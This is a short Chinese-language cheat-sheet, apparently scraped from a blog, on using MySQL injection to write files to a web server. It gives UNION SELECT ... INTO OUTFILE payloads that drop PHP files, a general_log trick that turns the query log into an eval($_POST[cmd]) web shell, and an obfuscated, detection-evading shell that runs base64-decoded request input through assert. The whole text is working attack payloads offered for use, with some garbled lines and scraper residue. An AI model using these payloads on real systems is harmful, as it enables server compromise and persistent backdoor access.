mysql注入寫文件

select * from admin where id =-1 union select 1,'<?php phpinfo();?>',3,4 into outfile 'c:\\1.php'

2017-11-06

 

select * from admin where id =-1 or 1=1 limit 0,1 INTO OUTFILE 'c:/2.php' LINES TERMINATED BY 0x3C3F70687020706870696E666F28293B3F3E--

2017-11-06

3.經過數據庫日誌寫shell
outfile被禁止,或者寫入文件被攔截;

在數據庫中操做以下:(必須是root權限)

show variables like '%general%';  #查看配置

set global general_log = on;  #開啓general log模式

set global general_log_file = '/var/www/html/1.php';   #設置日誌目錄爲shell地址

select 'php

<?php eval($_POST[cmd]);?>

'  #寫入shell

SQL查詢免殺shell的語句html

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

4.碰見其餘攔截用;過濾後面的語句sql

相關文章
相關標籤/搜索